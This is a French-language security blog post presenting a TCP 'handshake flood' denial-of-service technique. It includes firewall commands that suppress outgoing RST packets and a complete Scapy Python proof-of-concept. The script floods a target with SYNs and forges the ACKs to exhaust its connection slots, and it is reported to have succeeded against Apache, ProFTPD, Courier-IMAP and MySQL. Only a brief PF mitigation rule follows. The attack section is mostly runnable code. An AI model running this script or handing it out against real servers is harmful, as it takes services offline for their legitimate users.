Cet article parle d'une technique de DoS trouvée en bidouillant sur le principe de
Sockstress qui meme si elle n'a pas réussi a atteindre le
résultat escompté ( je n'ai pas dépassé les 5000
connexions simultanées :/ ) a permis
d'aboutir a un DoS qui s'avère très efficace et qui marche pour
tout serveur vu qu'on parle ici d'une vulnérabilité de
l'implémentation de
TCP/IP.
Les scripts et explications présentés dans cet article ne sont
bien sur la qu'en tant que Proof of Concept et ne doivent pas etre
utilisés a des fins
malveillants. Je ne suis pas responsable des conséquences d'une
mauvaise utilisation de ceux ci.
Bon maintenant qu'on est pret, on attaque.
Rappel sur les principes de TCP/IP
Je vais le faire rapide car de très bons sites expliquent TCP/IP mieux
que moi.
En gros TCP/IP est un protocole de communication en mode connecté. Pour
réaliser cela, il y a une phase de "handshake" ou les serveurs vont
comme se saluer, puis une phase d'envoi de données et enfin une
fermeture de connexion. C'est ici la 1ere phase qui va nous
intéresser.
Cette phase de connexion est simple. Le client envoi un SYN avec un
numéro de séquence x, le serveur renvoi SYN/ACK avec un ack qui
est égal
a x + 1 et un nouveau numéro de séquence et le client renvoi
alors un ACK avec ce numéro de séquence + 1. Voici un
schéma résumant cette phase :
C'est typiquement cela qui est fait lors d'un connect() en C.
Attaques TCP/IP par SYN Flood
Il existe de nombreuses attaques TCP/IP. Celles ci sont convoitées car
dépendent du protocole lui meme et ne sont donc corrigeables qu'avec
des
"bidouilles". On a par exemple l'attaque assez connu par SYN Flood. Cette
attaque est simple : elle consiste à envoyer une grosse quantité
de
paquets SYN afin de surcharger le serveur qui finira par ne plus accepter de
connexion.
Pour remédier a ca, il a été mis en place le principe de
Syncookie ou le paquet n'entre dans la queue qu'une fois la connexion
créée ou encore
les Synproxy. Pour plus d'info, google :)
Attaques TCP/IP par Handshake Flood
On constate donc que le SYN Flood a beaucoup moins d'impact car les correctifs
sont fournis dans les configurations de bases des équipements et
des OS.
Imaginons maintenant que nous puissions créer une connexion sans rien
stocker dans la pile TCP/IP. Pour cela il faudrait arriver a prévoir le
numéro de séquence a renvoyer, chose qui a été
faite a cause d'un random() foireux, ou alors en forgeant soi meme son paquet
en écoutant ce qui
arrive, solution que l'on va retenir.
Prérequis
Comme nous allons forger nos paquets et les envoyer en userland pour ne pas
intéragir avec la pile TCP/IP, le système va recevoir des
paquets
de retour qu'il ne connaitra pas et va renvoyer des RST pour mettre fin aux
connexions. Il va donc falloir commencer par configurer notre
firewall pour bloquer les RST. Ceci peut etre fait avec les commandes
suivantes :
Avec Iptables
iptables -A OUTPUT -o eth0 -p tcp --tcp-flags RST RST -j DROP
Avec PF (en remplacant ath0 par son interface)
block out on ath0 proto tcp from any to any flags R/R
Le script tournera ici sous Linux car le script crash sous FreeBSD
à cause d'une lib Scapy qui semble bloquée (libnet foireuse ?).
Principe
Mon script se base sur Scapy qui permet de manipuler aisément des
paquets. Voici le principe :
Je vais lancer 2 thread.
-Le 1er sniffe le traffic de ma carte réseau avec un filtre sur le port
et l'ip que l'on attaque.
-le 2e envoi des SYN en boucle avec un numéro de séquence = au
numéro client du port d'envoi.
Le 1er thread va donc voir arriver des SYN/ACK et va alors renvoyer un ACK
avec un numéro de ack = num de séquence + 1 recu et un
numéro de séquence
équivalent au numéro de ack + 1 ainsi qu'en port source, le port
de destination recu. Ainsi nous allons établir des connexions sans rien
stocker dans
notre pile coté client, donc ca ne coute qu'au serveur. On obtiendra
quelque chose du genre :
(21:41:34 cloud /usr/home/cloud) 0 $ sudo netstat -an | grep ESTA
tcp4 0 0 192.168.0.10.80 192.168.0.14.406 ESTABLISHED
tcp4 0 0 192.168.0.10.80 192.168.0.14.407 ESTABLISHED
tcp4 0 0 192.168.0.10.80 192.168.0.14.408 ESTABLISHED
tcp4 0 0 192.168.0.10.80 192.168.0.14.409 ESTABLISHED
tcp4 0 0 192.168.0.10.80 192.168.0.14.410 ESTABLISHED
tcp4 0 0 192.168.0.10.80 192.168.0.14.411 ESTABLISHED
tcp4 0 0 192.168.0.10.80 192.168.0.14.412 ESTABLISHED
tcp4 0 0 192.168.0.10.80 192.168.0.14.413 ESTABLISHED
tcp4 0 0 192.168.0.10.80 192.168.0.14.414 ESTABLISHED
Le script
Le PoC (sous linux) qui appelle Scapy :
#!/usr/bin/env python
from scapy import *
import threading, sys
import pprint
try:
print "TCP/IP DoS HandShake Flood PoC by cloud : http://blog.madpowah.org"
hostname = sys.argv[1]
dport = sys.argv[2]
nbsyn = int(sys.argv[3])
network = sys.argv[4]
except:
print "Utilisation: ./handshake.py "
print "Exemple: ./handshake.py 192.168.0.1 80 65000 eth0"
sys.exit(1)
def sendSyns():
print ">> Sending SYN ..."
sport = 6000
while sport < 6000 + nbsyn:
send(IP(dst=hostname,ttl=255)/ TCP(flags="S", sport=sport,dport=int(dport), seq=sport), verbose=0)
sport += 1
def startSniff():
print ">> Start sniff ..."
nbcount = nbsyn*10
filterport = "port " + dport
sniff(iface=network,filter=filterport, prn=lambda x: getNumSeq(x), count=nbcount)
def getNumSeq(packet):
flag = packet.getlayer('TCP').flags
if flag == 18:
numseq = packet.getlayer('TCP').ack
numack = packet.getlayer('TCP').seq + 1
srcport = packet.getlayer('TCP').dport
send(IP(dst=hostname,ttl=255) / TCP(flags="A", sport=srcport, dport=int(dport), seq=numseq,
ack=numack), verbose=0)
print "ACK %d" % (numseq)
t1 = threading.Thread(target = startSniff, args = ())
t2 = threading.Thread(target = sendSyns, args = ())
t1.start()
t2.start()
Au bout de quelques secondes on se retrouve avec un beau : Connexion
Interrupted sur Apache vu que le nombre maximum de connexions
simultanées
est atteint.
Impact
Script testé avec succès sur Apache, Proftpd, Courrier-imap,
Mysql avec ou sans l'option syncookie d'activée.
Un grand résistant : Lighttpd
Correctif
Il est bien sur possible de se protéger de cela via des règles
de firewall ou avec un serveur assez puissant (ou Haute Dispo) :)
Exemple de config pour PF pour s'en protéger (quoi y a d'autres fw ?):
table <antidos> persist
block in quick from <antidos>
pass in quick on $external inet proto tcp from any to any flags S/SA keep
state ( max-src-conn-rate 2/10, overload <antidos> flush global)
Conclusion
TCP n'a jamais été concu pour faire de la sécu et on voit
le résultat :)